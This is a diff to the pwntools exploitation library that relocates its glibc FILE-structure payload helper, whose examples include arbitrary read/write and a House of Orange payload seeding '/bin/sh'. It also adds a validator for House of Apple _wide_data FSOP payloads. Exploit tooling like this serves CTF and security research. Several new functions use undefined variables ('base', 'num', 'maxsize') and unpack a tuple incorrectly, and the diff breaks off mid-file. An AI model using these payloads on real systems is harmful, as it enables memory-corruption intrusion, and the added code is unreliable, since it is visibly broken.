diff --git a/CHANGELOG.md b/CHANGELOG.md index 14c118974..c563a8840 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -85,6 +85,7 @@ The table below shows which release corresponds to each branch, and what date th - [#2529][2529] Add LoongArch64 support - [#2506][2506] ROP: fix `ROP(ELF(exe)).leave` is `None` in some ELF - [#2504][2504] doc: add example case for `tuple` (host, port pair) in `gdb.attach` +- [#2442][2442] Add convenient exploit for `_IO_wide_data` [2519]: https://github.com/Gallopsled/pwntools/pull/2519 [2507]: https://github.com/Gallopsled/pwntools/pull/2507 @@ -97,6 +98,7 @@ The table below shows which release corresponds to each branch, and what date th [2529]: https://github.com/Gallopsled/pwntools/pull/2529 [2506]: https://github.com/Gallopsled/pwntools/pull/2506 [2504]: https://github.com/Gallopsled/pwntools/pull/2504 +[2442]: https://github.com/Gallopsled/pwntools/pull/2442 ## 4.15.0 (`beta`) diff --git a/pwn/toplevel.py b/pwn/toplevel.py index 92b01ad1d..d7351aa52 100644 --- a/pwn/toplevel.py +++ b/pwn/toplevel.py @@ -30,8 +30,8 @@ from pwnlib.encoders import * from pwnlib.exception import PwnlibException from pwnlib.gdb import attach, debug_assembly, debug_shellcode -from pwnlib.filepointer import * from pwnlib.filesystem import * +from pwnlib.structs import * from pwnlib.flag import * from pwnlib.fmtstr import FmtStr, fmtstr_payload, fmtstr_split from pwnlib.log import getLogger diff --git a/pwnlib/__init__.py b/pwnlib/__init__.py index 3dae1f00f..7a951d16e 100644 --- a/pwnlib/__init__.py +++ b/pwnlib/__init__.py @@ -18,6 +18,7 @@ 'encoders', 'elf', 'exception', + 'structs', 'fmtstr', 'gdb', 'libcdb', diff --git a/pwnlib/filepointer.py b/pwnlib/filepointer.py index 8b05781e3..6c448b941 100644 --- a/pwnlib/filepointer.py +++ b/pwnlib/filepointer.py @@ -1,341 +1,3 @@ -# -*- coding: utf-8 -*- - -r""" -File Structure Exploitation - -struct FILE (_IO_FILE) is the structure for File Streams. -This offers various targets for exploitation on an existing bug in the code. -Examples - ``_IO_buf_base`` and ``_IO_buf_end`` for reading data to arbitrary location. - -Remembering the offsets of various structure members while faking a FILE structure can be difficult, -so this python class helps you with that. Example- - ->>> context.clear(arch='amd64') ->>> fileStr = FileStructure(null=0xdeadbeef) ->>> fileStr.vtable = 0xcafebabe ->>> payload = bytes(fileStr) ->>> payload -b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\xef\xbe\xad\xde\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\xef\xbe\xad\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbe\xba\xfe\xca\x00\x00\x00\x00' - -Now payload contains the FILE structure with its vtable pointer pointing to 0xcafebabe - -Currently only 'amd64' and 'i386' architectures are supported -""" - from __future__ import absolute_import -from __future__ import division - -from pwnlib.context import context -from pwnlib.log import getLogger -from pwnlib.util.misc import python_2_bytes_compatible -from pwnlib.util.packing import pack - -log = getLogger(__name__) - -length=0 -size='size' -name='name' - -variables={ - 0:{name:'flags',size:length}, - 1:{name:'_IO_read_ptr',size:length}, - 2:{name:'_IO_read_end',size:length}, - 3:{name:'_IO_read_base',size:length}, - 4:{name:'_IO_write_base',size:length}, - 5:{name:'_IO_write_ptr',size:length}, - 6:{name:'_IO_write_end',size:length}, - 7:{name:'_IO_buf_base',size:length}, - 8:{name:'_IO_buf_end',size:length}, - 9:{name:'_IO_save_base',size:length}, - 10:{name:'_IO_backup_base',size:length}, - 11:{name:'_IO_save_end',size:length}, - 12:{name:'markers',size:length}, - 13:{name:'chain',size:length}, - 14:{name:'fileno',size:4}, - 15:{name:'_flags2',size:4}, - 16:{name:'_old_offset',size:length}, - 17:{name:'_cur_column',size:2}, - 18:{name:'_vtable_offset',size:1}, - 19:{name:'_shortbuf',size:1}, - 20:{name:'unknown1',size:-4}, - 21:{name:'_lock',size:length}, - 22:{name:'_offset',size:8}, - 23:{name:'_codecvt',size:length}, - 24:{name:'_wide_data',size:length}, - 25:{name:'unknown2',size:length}, - 26:{name:'vtable',size:length} -} - -del name, size, length - - -def update_var(l): - r""" - Since different members of the file structure have different sizes, we need to keep track of the sizes. The following function is used by the FileStructure class to initialise the lengths of the various fields. - - Arguments: - l(int) - l=8 for 'amd64' architecture and l=4 for 'i386' architecture - - Return Value: - Returns a dictionary in which each field is mapped to its corresponding length according to the architecture set - - Examples: - - >>> update_var(8) - {'flags': 8, '_IO_read_ptr': 8, '_IO_read_end': 8, '_IO_read_base': 8, '_IO_write_base': 8, '_IO_write_ptr': 8, '_IO_write_end': 8, '_IO_buf_base': 8, '_IO_buf_end': 8, '_IO_save_base': 8, '_IO_backup_base': 8, '_IO_save_end': 8, 'markers': 8, 'chain': 8, 'fileno': 4, '_flags2': 4, '_old_offset': 8, '_cur_column': 2, '_vtable_offset': 1, '_shortbuf': 1, 'unknown1': 4, '_lock': 8, '_offset': 8, '_codecvt': 8, '_wide_data': 8, 'unknown2': 48, 'vtable': 8} - """ - var={} - for i in variables: - var[variables[i]['name']]=variables[i]['size'] - for i in var: - if var[i]<=0: - var[i]+=l - if l==4: - var['unknown2']=56 - else: - var['unknown2']=48 - return var - - -@python_2_bytes_compatible -class FileStructure(object): - r""" - Crafts a FILE structure, with default values for some fields, like _lock which should point to null ideally, set. - - Arguments: - null(int) - A pointer to NULL value in memory. This pointer can lie in any segment (stack, heap, bss, libc etc) - - Examples: - - FILE structure with flags as 0xfbad1807 and _IO_buf_base and _IO_buf_end pointing to 0xcafebabe and 0xfacef00d - - >>> context.clear(arch='amd64') - >>> fileStr = FileStructure(null=0xdeadbeeef) - >>> fileStr.flags = 0xfbad1807 - >>> fileStr._IO_buf_base = 0xcafebabe - >>> fileStr._IO_buf_end = 0xfacef00d - >>> payload = bytes(fileStr) - >>> payload - b'\x07\x18\xad\xfb\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbe\xba\xfe\xca\x00\x00\x00\x00\r\xf0\xce\xfa\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\xef\xee\xdb\xea\r\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\xef\xee\xdb\xea\r\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' - - Check the length of the FileStructure - - >>> len(fileStr) - 224 - - The definition for __repr__ orders the structure members and displays then in a dictionary format. It's useful when viewing a structure objet in python/IPython shell - - >>> q=FileStructure(0xdeadbeef) - >>> q - { flags: 0x0 - _IO_read_ptr: 0x0 - _IO_read_end: 0x0 - _IO_read_base: 0x0 - _IO_write_base: 0x0 - _IO_write_ptr: 0x0 - _IO_write_end: 0x0 - _IO_buf_base: 0x0 - _IO_buf_end: 0x0 - _IO_save_base: 0x0 - _IO_backup_base: 0x0 - _IO_save_end: 0x0 - markers: 0x0 - chain: 0x0 - fileno: 0x0 - _flags2: 0x0 - _old_offset: 0xffffffffffffffff - _cur_column: 0x0 - _vtable_offset: 0x0 - _shortbuf: 0x0 - unknown1: 0x0 - _lock: 0xdeadbeef - _offset: 0xffffffffffffffff - _codecvt: 0x0 - _wide_data: 0xdeadbeef - unknown2: 0x0 - vtable: 0x0} - """ - - vars_=[] - length={} - - def __init__(self, null=0): - self.vars_ = [variables[i]['name'] for i in sorted(variables.keys())] - self.setdefault(null) - self.length = update_var(context.bytes) - self._old_offset = (1 << context.bits) - 1 - - def __setattr__(self,item,value): - if item in FileStructure.__dict__ or item in self.vars_: - object.__setattr__(self,item,value) - else: - log.error("Unknown variable %r" % item) - - def __repr__(self): - structure=[] - for i in self.vars_: - structure.append(" %s: %#x" % (i, getattr(self, i))) - return "{"+ "\n".join(structure)+"}" - - def __len__(self): - return len(bytes(self)) - - def __bytes__(self): - structure = b'' - for val in self.vars_: - if isinstance(getattr(self, val), bytes): - structure += getattr(self, val).ljust(context.bytes, b'\x00') - else: - if self.length[val] > 0: - structure += pack(getattr(self, val), self.length[val]*8) - return structure - - def struntil(self,v): - r""" - Payload for stuff till 'v' where 'v' is a structure member. This payload includes 'v' as well. - - Arguments: - v(string) - The name of the field uptil which the payload should be created. - - Example: - - Payload for data uptil _IO_buf_end - - >>> context.clear(arch='amd64') - >>> fileStr = FileStructure(0xdeadbeef) - >>> payload = fileStr.struntil("_IO_buf_end") - >>> payload - b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' - """ - if v not in self.vars_: - return b'' - structure = b'' - for val in self.vars_: - if isinstance(getattr(self, val), bytes): - structure += getattr(self, val).ljust(context.bytes, b'\x00') - else: - structure += pack(getattr(self, val), self.length[val]*8) - if val == v: - break - return structure[:-1] - - def setdefault(self,null): - self.flags=0 - self._IO_read_ptr=0 - self._IO_read_end=0 - self._IO_read_base=0 - self._IO_write_base=0 - self._IO_write_ptr=0 - self._IO_write_end=0 - self._IO_buf_base=0 - self._IO_buf_end=0 - self._IO_save_base=0 - self._IO_backup_base=0 - self._IO_save_end=0 - self.markers=0 - self.chain=0 - self.fileno=0 - self._flags2=0 - self._old_offset=0 - self._cur_column=0 - self._vtable_offset=0 - self._shortbuf=0 - self.unknown1=0 - self._lock=null - self._offset=0xffffffffffffffff - self._codecvt=0 - self._wide_data=null - self.unknown2=0 - self.vtable=0 - - def write(self,addr=0,size=0): - r""" - Writing data out from arbitrary memory address. - - Arguments: - addr(int) - The address from which data is to be printed to stdout - size(int) - The size, in bytes, of the data to be printed - - Example: - - Payload for writing 100 bytes to stdout from the address 0xcafebabe - - >>> context.clear(arch='amd64') - >>> fileStr = FileStructure(0xdeadbeef) - >>> payload = fileStr.write(addr=0xcafebabe, size=100) - >>> payload - b'\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbe\xba\xfe\xca\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbe\xba\xfe\xca\x00\x00\x00\x00"\xbb\xfe\xca\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00' - """ - self.flags &=~8 - self.flags |=0x800 - self._IO_write_base = addr - self._IO_write_ptr = addr+size - self._IO_read_end = addr - self.fileno = 1 - return self.struntil('fileno') - - def read(self,addr=0,size=0): - r""" - Reading data into arbitrary memory location. - - Arguments: - addr(int) - The address into which data is to be written from stdin - size(int) - The size, in bytes, of the data to be written - - Example: - - Payload for reading 100 bytes from stdin into the address 0xcafebabe - - >>> context.clear(arch='amd64') - >>> fileStr = FileStructure(0xdeadbeef) - >>> payload = fileStr.read(addr=0xcafebabe, size=100) - >>> payload - b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbe\xba\xfe\xca\x00\x00\x00\x00"\xbb\xfe\xca\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' - """ - self.flags &=~4 - self._IO_read_base = 0 - self._IO_read_ptr = 0 - self._IO_buf_base = addr - self._IO_buf_end = addr+size - self.fileno = 0 - return self.struntil('fileno') - - def orange(self,io_list_all,vtable): - r""" - Perform a House of Orange (https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_orange.c), provided you have libc leaks. - - Arguments: - io_list_all(int) - Address of _IO_list_all in libc. - vtable(int) - Address of the fake vtable in memory - - Example: - - Example payload if address of _IO_list_all is 0xfacef00d and fake vtable is at 0xcafebabe - - - >>> context.clear(arch='amd64') - >>> fileStr = FileStructure(0xdeadbeef) - >>> payload = fileStr.orange(io_list_all=0xfacef00d, vtable=0xcafebabe) - >>> payload - b'/bin/sh\x00a\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xfd\xef\xce\xfa\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\xef\xbe\xad\xde\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\xef\xbe\xad\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbe\xba\xfe\xca\x00\x00\x00\x00' - """ - if context.bits == 64: - self.flags = b'/bin/sh\x00' - self._IO_read_ptr = 0x61 - self._IO_read_base = io_list_all-0x10 - elif context.bits == 32: - self.flags = b'sh\x00' - self._IO_read_ptr = 0x121 - self._IO_read_base = io_list_all-0x8 - self._IO_write_base = 0 - self._IO_write_ptr = 1 - self.vtable = vtable - return self.__bytes__() +# This is a fallback support for filepointer mudule +from pwnlib.structs.filepointer import * diff --git a/pwnlib/structs/__init__.py b/pwnlib/structs/__init__.py new file mode 100644 index 000000000..898299b7e --- /dev/null +++ b/pwnlib/structs/__init__.py @@ -0,0 +1,323 @@ +from __future__ import absolute_import + +from enum import Enum + +from pwnlib.structs.filepointer import * +from pwnlib.structs.widedata import * +from pwnlib.structs.jumptable import * +from pwnlib.util.packing import * + +class WideFSOPType(Enum): + APPLE2_OVERFLOW = 0x20 + APPLE2_MMAP = 0x21 + APPLE2_XSGETN = 0x22 + APPLE3_UNDERFLOW = 0x30 + APPLE3_MMAP = 0x31 + APPLE3_WRITE = 0x32 + APPLE3_SYNC = 0x33 + +class WideFSOPErrors(Enum): + FILE_FLAGS = 0 + FILE_READ_PTR = 1 + FILE_MODE = 2 + FILE_WRITE_PTR = 3 + FILE_WRITE_END = 4 + FILE_VTABLE = 5 + FILE_WIDE_DATA = 6 + FILE_CODECVT = 7 + WDATA_WRITE_BASE = 0x10 + WDATA_BUF_BASE = 0x11 + WDATA_READ_PTR = 0x12 + WDATA_SAVE_BASE = 0x13 + WDATA_WRITE_PTR = 0x14 + WDATA_VTABLE = 0x15 + VTABLE_DOALLOCATE = 0x20 + VTABLE_OVERFLOW = 0x21 + CODECVT_CDIN = 0x30 + CODECVT_CDOUT = 0x31 + CDSTEP_STATEFUL = 0x40 + CDSTEP_FCT = 0x41 + +def validate_wide_FSOP_payload(mode: WideFSOPType, payload: bytes, fileoff: int=None, + wideoff: int=None, jumpoff: int=None, codecvtoff: int=None, + cdstepoff: int=None, warn_level: str='warn') -> list[WideFSOPErrors]: + r"""validate_wide_FSOP_payload(mode: WideFSOPType, payload: bytes, + fileoff: int=None, wideoff: int=None, jumpoff: int=None, + codecvtoff: int=None, cdstepoff: int=None, warn_level: str='info') + -> list[WideFSOPErrors]: + A util function to validate if the payload matches exploit + conditions of an FSOP that exploits the ``_wide_data`` structure, + such as House of Apple. This will be useful if you have limited + bytes to write so you have to overlap structures but the default + payload can not meet some restrictions and you have to create a + specific payload. In this case, calling this function saves your + time to check manually. + + Parameter: + mode: One of enum values in WideFSOPType to determine how + to check the payload. + payload: The actual payload in FSOP part you want to send. + fileoff: The offset in ``int`` indicating where the FILE + starts in `payload`. For instance, if `payload` is just + a fake FILE, then `fileoff` should be ``0``. Set `fileoff` + to ``None`` if you want to skip the check for it. The + parameters below follows similar rules. + wideoff: The offset of WideData in FILE. See `fileoff`. + jumpoff: The offset of JumpTable in WideData. See `fileoff`. + codecvtoff: The offset of _codecvt in FILE. See `fileoff`. + cdstepoff: The offset of ``__cd_*.step`` in _codecvt. + See `fileoff`. + warn_level: A string of log level to output some extra info. + For instance, for ``WideFSOPType.APPLE2_XSGETN``, + ``rdx`` should NOT be ``0``. As we can not check rdx, + so we have to log to warn users that ``rdx`` need to + be checked. The default log level is `warn`. + + Return: + ``[]`` if all checks passed. If some checks fail, a list + of ``WideFSOPErrors`` enum values is returned. Basically + each enum is named according to the house of apple blog. + """ + length = len(payload) + amd64 = context.arch == 'amd64' + MAGIC = 0x100000 + log.setLevel(context.log_level) + logit = log.__getattribute__(warn_level) + + INT = 32 + PTR = 64 + def _check(goff: int, off64: int, off32: int, len64: int): + offword, lenword = off64, len64 if amd64 else off32, 32 + offset = goff + offword + return unpack(payload[offset:offset + lenword], lenword, sign=True) \ + if offset + lenword <= length \ + else -1 + + if mode is WideFSOPType.APPLE2_XSGETN: + logit('_IO_wdefault_xsgetn requires rdx to be 0!') + + errs = [] + if fileoff is not None: + if mode is WideFSOPType.APPLE2_OVERFLOW: + # flags + # -1 & any == any, so if structure is not long enough to + # check, this check will not pass + if _check(fileoff, 0, 0, INT) & (2 | 8 | 0x800): + errs.append(WideFSOPErrors.FILE_FLAGS) + elif mode is WideFSOPType.APPLE2_MMAP: + # flags + if _check(fileoff, 0, 0, INT) & 4: + errs.append(WideFSOPErrors.FILE_FLAGS) + # read ptr & read end + ptr = _check(fileoff, 8, 4, PTR) + end = _check(fileoff, 0x10, 0xc, PTR) + if ptr >= end or end == -1: + errs.append(WideFSOPErrors.FILE_READ_PTR) + elif mode is WideFSOPType.APPLE2_XSGETN: + # flags + flags = _check(fileoff, 0, 0, INT) + if flags == -1 or not flags & 0x800: + errs.append(WideFSOPErrors.FILE_FLAGS) + # mode + if _check(fileoff, 0xc0, 0x68, INT) <= 0: + errs.append(WideFSOPErrors.FILE_MODE) + elif mode is WideFSOPType.APPLE3_UNDERFLOW: + # flags + if _check(fileoff, 0, 0, INT) & (4 | 0x10): + errs.append(WideFSOPErrors.FILE_FLAGS) + # read ptr & read end + ptr = _check(fileoff, 8, 4, PTR) + end = _check(fileoff, 0x10, 0xc, PTR) + if ptr >= end or end == -1: + errs.append(WideFSOPErrors.FILE_READ_PTR) + elif mode is WideFSOPType.APPLE3_MMAP: + # flags + if _check(fileoff, 0, 0, INT) & 4: + errs.append(WideFSOPErrors.FILE_FLAGS) + # read ptr & read end + ptr = _check(fileoff, 8, 4, PTR) + end = _check(fileoff, 0x10, 0xc, PTR) + if ptr >= end or end == -1: + errs.append(WideFSOPErrors.FILE_READ_PTR) + elif mode is WideFSOPType.APPLE3_WRITE: + # write ptr & write base + if _check(fileoff, 0x28, 0x14, PTR) <= _check(fileoff, 0x20, 0x10, PTR): + errs.append(WideFSOPErrors.FILE_WRITE_PTR) + # mode + if _check(fileoff, 0xc0, 0x68, INT) <= 0: + errs.append(WideFSOPErrors.FILE_MODE) + # write end & write ptr; write end & write base + end = _check(fileoff, 0x30, 0x18, PTR) + if end == -1 or end == ptr and end != base: + errs.append(WideFSOPErrors.FILE_WRITE_END) + elif mode is WideFSOPType.APPLE3_SYNC: + # flags + if _check(fileoff, 0, 0, INT) & (4 | 0x10): + errs.append(WideFSOPErrors.FILE_FLAGS) + else: + raise AssertionError('No such mode in WideFSOPType') + # vtable + if _check(fileoff, 0xd8, 0x94, PTR) < MAGIC: + errs.append(WideFSOPErrors.FILE_VTABLE) + # wide data + if _check(fileoff, 0xa0, 0x58, PTR) < MAGIC: + errs.append(WideFSOPErrors.FILE_WIDE_DATA) + if 0x30 <= mode.value < 0x40: # only apple 3 need this check + # codecvt + if _check(fileoff, 0x98, 0x84, PTR) < MAGIC: + errs.append(WideFSOPErrors.FILE_CODECVT) + + if wideoff is not None: + if mode is WideFSOPType.APPLE2_OVERFLOW: + # write base + if _check(wideoff, 0x18, 0xc, PTR): + errs.append(WideFSOPErrors.WDATA_WRITE_BASE) + # buf base + if _check(wideoff, 0x30, 0x18, PTR): + errs.append(WideFSOPErrors.WDATA_BUF_BASE) + elif mode is WideFSOPType.APPLE2_MMAP: + # read ptr & read end + # if don't catch -1 here, it will still be catched under + if _check(wideoff, 0, 0, PTR) < _check(wideoff, 8, 4, PTR): + errs.append(WideFSOPErrors.WDATA_READ_PTR) + # buf base + if _check(wideoff, 0x30, 0x18, PTR): + errs.append(WideFSOPErrors.WDATA_BUF_BASE) + # save base + if _check(wideoff, 0x40, 0x20, PTR): + logit('_wide_data->_IO_save_base need to be a free-able address') + elif mode is WideFSOPType.APPLE2_XSGETN: + # read end & read ptr + end = _check(wideoff, 8, 4, PTR) + ptr = _check(wideoff, 0, 0, PTR) + if end != ptr or ptr == -1: + errs.append(WideFSOPErrors.WDATA_READ_PTR) + # write ptr & write base + ptr = _check(wideoff, 0x20, 0x10, PTR) + base = _check(wideoff, 0x18, 0xc, PTR) + if ptr <= base or ptr == -1 or base == -1: + errs.append(WideFSOPErrors.WDATA_WRITE_PTR) + elif mode is WideFSOPType.APPLE3_UNDERFLOW: + # read ptr & read end + ptr = _check(wideoff, 0, 0, PTR) + end = _check(wideoff, 8, 4, PTR) + if ptr < end or end == -1 or ptr == -1: + errs.append(WideFSOPErrors.WDATA_READ_PTR) + elif mode is WideFSOPType.APPLE3_MMAP: + # read ptr & read end + ptr = _check(wideoff, 0, 0, PTR) + end = _check(wideoff, 8, 4, PTR) + if ptr < end or end == -1 or ptr == -1: + errs.append(WideFSOPErrors.WDATA_READ_PTR) + # buf base + base = _check(wideoff, 0x30, 0x18, PTR) + if base == 0 or base == -1: + errs.append(WideFSOPErrors.WDATA_BUF_BASE) + elif mode is WideFSOPType.APPLE3_WRITE: + # write ptr & write base + ptr = _check(wideoff, 0x20, 0x10, PTR) + base = _check(wideoff, 0x18, 0xc, PTR) + if ptr < base or ptr == -1 or base == -1: + errs.append(WideFSOPErrors.WDATA_WRITE_PTR) + elif mode is WideFSOPType.APPLE3_SYNC: + # write ptr & write base + ptr = _check(wideoff, 0x20, 0x10, PTR) + base = _check(wideoff, 0x18, 0xc, PTR) + if ptr > base or ptr == -1 or base == -1: + errs.append(WideFSOPErrors.WDATA_WRITE_PTR) + # read ptr & read end + if _check(wideoff, 0, 0, PTR) == _check(wideoff, 8, 4, PTR): + errs.append(WideFSOPErrors.WDATA_READ_PTR) + else: + raise AssertionError('No such mode in WideFSOPType') + if 0x20 <= mode.value < 0x30: # only apple 2 need to check vtable + if _check(wideoff, 0xe0, 0x88, PTR) < MAGIC: + errs.append(WideFSOPErrors.WDATA_VTABLE) + + if jumpoff is not None: + if mode is WideFSOPType.APPLE2_OVERFLOW: + # doallocate + if _check(jumpoff, 0x68, 0x34, PTR) < MAGIC: + errs.append(WideFSOPErrors.VTABLE_DOALLOCATE) + elif mode is WideFSOPType.APPLE2_MMAP: + # doallocate + if _check(jumpoff, 0x68, 0x34, PTR) < MAGIC: + errs.append(WideFSOPErrors.VTABLE_DOALLOCATE) + elif mode is WideFSOPType.APPLE2_XSGETN: + # overflow + if _check(jumpoff, 0x18, 0xc, PTR) < MAGIC: + errs.append(WideFSOPErrors.VTABLE_OVERFLOW) + + if codecvtoff is not None: + if mode is WideFSOPType.APPLE3_UNDERFLOW or \ + mode is WideFSOPType.APPLE3_MMAP or \ + mode is WideFSOPType.APPLE3_SYNC: + # __cd_in.step + if _check(codecvtoff, 0, 0, PTR) < MAGIC: + errs.append(WideFSOPErrors.CODECVT_CDIN) + elif mode is WideFSOPType.APPLE3_WRITE: + # __cd_out.step + if _check(codecvtoff, 0x38, 0x24, PTR) < MAGIC: + errs.append(WideFSOPErrors.CODECVT_CDOUT) + + if cdstepoff is not None: + if mode is WideFSOPType.APPLE3_SYNC: + # stateful + stateful = _check(cdstepoff, 0x58, 0x34, INT) + if stateful == 0 or stateful == -1: + errs.append(WideFSOPErrors.CDSTEP_STATEFUL) + # shlib_handle + if _check(cdstepoff, 0, 0, PTR) != 0: + logit('shlib_handle is not 0, please deal with PTR_MANGLE') + # fct + if _check(cdstepoff, 0x28, 0x14, PTR) < MAGIC: + errs.append(WideFSOPErrors.CDSTEP_FCT) + + return errs + +class struct_attr: + def __init__(self, name: str, off64: int, len64: int, off32: int, len32: int): + self.length = (len64, len32) + self.offset = (off64, off32) + self.maximum = (1 << len64, 1 << len32) + self.name = name + + def __eq__(self, obj: str) -> bool: + return self.name == obj + +class struct_attr_list: + def __init__(self, attrs: tuple[struct_attr], i386: bool, logger): + self.attrs = attrs + self.is32bit = int(i386) + self.log = logger + + def _find(self, attr_name: str) -> struct_attr: + if attr_name not in self.attrs: + return None + return self.attrs[self.attrs.index(attr_name)] + + def get_attr(self, attr_name: str) -> tuple[int, int]: + attr = self._find(attr_name) + if attr is None: + return -1, -1 + return attr.offset[self.is32bit], attr.length[self.is32bit] + + def check_attr(self, attr_name: str, value: any) -> bool: + attr = self._find(attr_name) + if attr is None: + return False + size = attr.length[self.is32bit] + if isinstance(value, int): + maximum = attr.maximum[self.is32bit] + num = num if num >= 0 else num + maximum + if num < 0 or num >= (1 << maximum): + self.log.error(f"Out of bounds for {attr_name}: expect item size {size}, but get {value}") + elif isinstance(value, (str, bytes)): + value = _need_bytes(value) + if len(value) > maxsize: + self.log.error(f"Value too large for {attr_name}: expect item size {size}, but get {len(value)}") + elif hasattr(value, '__bytes__') is False: + self.log.error(f"Unable to cast {attr_name} to bytes") + # if value can cast to bytes, we don't check its size here + # as it may be mutable + return True diff --git a/pwnlib/structs/filepointer.py b/pwnlib/structs/filepointer.py new file mode 100644 index 000000000..66250ebaf --- /dev/null +++ b/pwnlib/structs/filepointer.py @@ -0,0 +1,381 @@ +# -*- coding: utf-8 -*- + +r""" +File Structure Exploitation + +struct FILE (_IO_FILE) is the structure for File Streams. +This offers various targets for exploitation on an existing bug in the code. +Examples - ``_IO_buf_base`` and ``_IO_buf_end`` for reading data to arbitrary location. + +Remembering the offsets of various structure members while faking a FILE structure can be difficult, +so this python class helps you with that. Example- + +>>> context.clear(arch='amd64') +>>> fileStr = FileStructure(null=0xdeadbeef) +>>> fileStr.vtable = 0xcafebabe +>>> payload = bytes(fileStr) +>>> payload 